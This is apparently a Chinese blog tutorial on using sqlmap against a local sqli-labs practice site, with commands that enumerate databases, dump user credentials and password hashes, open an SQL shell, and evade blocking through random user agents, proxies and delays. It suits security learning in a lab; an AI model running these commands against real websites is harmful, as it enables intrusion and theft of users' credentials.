kali sqlmap笔记

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_28719743/article/details/82709483

搭建sql注入平台

这里选择的是sqli-labs
在windows上搭建一下,具体过程就不多介绍了

这里写图片描述

搭建完毕
点击第一关

这里写图片描述


####sql入门

查询是否存在注入
sqlmap -u http://192.168.1.100/Less-1/?id=1

注:注入点后面的参数大于等于2个时,url需要加双引号

这里写图片描述

两个提示,提示1:可能存在注入,数据库可能是Mysql;提示2:可能存在XSS
直接回车

这里写图片描述

反馈回来的信息

查询https网站
sqlmap -u https://192.168.1.100/Less-1/?id=1 --force-ssl
查询当前用户下的所有数据库
sqlmap -u http://192.168.1.100/Less-1/?id=1 --dbs

这里写图片描述

查询数据库中的表名
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security --tables

这里写图片描述

查询表中的字段名
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security -T users --columns

这里写图片描述

查询字段内容
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security -T users -C password,username --dump

这里写图片描述

网站的用户名和密码全都明文显示出来了

查询数据库中的所有用户
sqlmap -u http://192.168.1.100/Less-1/?id=1 --users

这里写图片描述

查询数据库用户密码
sqlmap -u http://192.168.1.100/Less-1/?id=1 --passwords

这里写图片描述

密码的hash值出来了,解密后就可以获得到密码
简单的密码直接可以用sqlmap算出来,不过计算的会比较慢

这里写图片描述


sqlmap 参数

-r

sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。

vim 1.txt
GET /Less-1/?id=1 HTTP/1.1
Host: 192.168.0.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
sqlmap -r 1.txt
-v

Sqlmap的输出信息按从简到繁共分为7个级别(和葫芦娃一样多),依次为0、1、2、3、4、5和6。使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:

  • 只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
  • 同时显示普通信息[INFO]和警告信息[WARNING];
  • 同时显示调试信息[DEBUG];
  • 同时显示注入使用的攻击荷载;
  • 同时显示HTTP请求;
  • 同时显示HTTP响应头;
  • 同时显示HTTP响应体。
-m

从文本中获取多个目标扫描

vim 1.txt
http://192.168.0.104/Less-1/?id=1
http://192.168.0.104/Less-1/?id=2
http://192.168.0.104/Less-1/?id=3
http://192.168.0.104/Less-1/?id=4
http://192.168.0.104/Less-1/?id=5
sqlmap -m 1.txt
–level

该命令用于设置探测等级
不加level参数时,默认的探测等级是1,会测试get和post数据
等级2会比等级1多测试cookie
等级3会比等级2多测试 UA和referer
等级越高测试的payload越多,耗时越久
具体每个等级都有哪些payload可在payloads.xml中查看
kali中payloads.xml的默认位置是 /usr/share/golismero/tools/sqlmap/xml/payloads.xml

–is-dba

该命令用于查询当前数据库的账户是否为管理员账户

sqlmap -u http://192.168.1.100/Less-1/?id=1 --is-dba

这里写图片描述

–sql-shell

该命令用于运行自定义sql语句

sqlmap -u http://192.168.1.100/Less-1/?id=1 --sql-shell

这里写图片描述

现在就可以输入自定义的sql语句来执行了

–random-agent

sqlmap默认的UA是 sqlmap/1.2.7#stable (http://sqlmap.org)
要是我们想设置一个随机的UA,可使用该参数

sqlmap -u http://192.168.1.100/Less-1/?id=1 --random-agent
–referer

有的页面会判断访问的来源,所以有时候我们需要指定的refer

sqlmap -u http://192.168.1.100/Less-1/?id=1 --referer http://www.baidu.com
–proxy

使用代理来连接到目标网站

sqlmap -u http://192.168.1.100/Less-1/?id=1 --proxy http://192.168.0.104:1080
–proxy-file

使用文件中的代理地址来连接到目标网站

vim 1.txt
192.168.0.101:1080
192.168.0.102:1080
192.168.0.103:1080
192.168.0.104:1080
192.168.0.105:1080
sqlmap -u http://192.168.1.100/Less-1/?id=1 --proxy-file 1.txt
–force-ssl

强制使用SSL / HTTPS

–delay

每个HTTP请求之间的延迟(秒),防止因为访问过于频繁被网站防火墙拦截

sqlmap -u http://192.168.1.100/Less-1/?id=1 --delay 5
–safe-url,–safe-freq

–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

sqlmap -u http://192.168.1.100/Less-1/?id=1 --safe-url http://192.168.1.100
sqlmap -u http://192.168.1.100/Less-1/?id=1 --safe-freq http://192.168.1.100

猜你喜欢

转载自blog.csdn.net/qq_28719743/article/details/82709483